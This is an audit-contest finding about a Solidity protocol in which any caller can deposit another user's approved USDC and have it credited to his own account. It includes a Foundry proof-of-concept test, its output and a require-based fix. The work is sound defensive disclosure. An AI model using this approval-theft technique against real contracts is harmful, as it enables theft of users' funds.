First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] An attacker can steal the funds of other users by depositing their tokens into the protocol on behalf of his account, if the victim approved the `moneyShelf` contract for deposits.

Keyword

Description: The Laundrette::depositTheCrimeMoneyInATM function takes two address parameters as input, an account which is the address that we will get the tokens from and an address to which is the address on behalf of which tokens are deposited into the protocol. The Shelf::deposit function will credit the amount of tokens deposited on behalf of address to when someone calls the depositTheCrimeMoneyInATM function.

The problem arises from the fact that if user A approves the protocol to spend 1000 USDC, user B can call the Laundrette::depositTheCrimeMoneyInATM function with account == user A's address, to == user B's address, amount == 1000 USDC.

Impact: User B is able to steal the funds of user A, by depositing user A's tokens into the protocol, but getting the amount credited to his address instead.

Proof of Concepts: Place the following test into the Laundrette.t.sol file.

PoC - click the arrow below
// change imports
import { Kernel, Policy, Permissions, Keycode, Role, Actions } from "src/Kernel.sol";
​
function test_Deposit() public {
//Create 2 users
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// Send them some USDC
vm.startPrank(godFather);
usdc.transfer(alice, 100e6);
usdc.transfer(bob, 100e6);
vm.stopPrank();
​
assertEq(usdc.balanceOf(address(alice)), 100e6);
assertEq(usdc.balanceOf(address(bob)), 100e6);
​
// Approve USDC for deposit
vm.prank(alice);
usdc.approve(address(moneyShelf), 100e6);
vm.prank(bob);
usdc.approve(address(moneyShelf), 100e6);
​
// Bob deposits Alice's tokens on his behalf
laundrette.depositTheCrimeMoneyInATM(alice, bob, 100e6);
laundrette.depositTheCrimeMoneyInATM(bob, bob, 100e6);
​
// Assert
assertEq(usdc.balanceOf(address(alice)), 0);
assertEq(usdc.balanceOf(address(bob)), 0);
​
console.log(moneyShelf.getAccountAmount(bob));
console.log(moneyShelf.getAccountAmount(alice));
​
// Bob is added to the gang and withdraws the money
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
vm.prank(godFather);
laundrette.addToTheGang(bob);
vm.prank(bob);
laundrette.withdrawMoney(bob, bob, 200e6);
assertEq(usdc.balanceOf(address(bob)), 200e6);
}

Test output

├─ [562] MockUSDC::balanceOf(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
│ └─ ← [Return] 200000000 [2e8]
├─ [0] VM::assertEq(200000000 [2e8], 200000000 [2e8]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.70ms (497.99µs CPU time)

Recommended mitigation: Add checks to enforce that the address depositing the tokens is the actual sender of the transaction.

function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
+ require(account == msg.sender, "Not token owner");
moneyShelf.depositUSDC(account, to, amount);
}
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.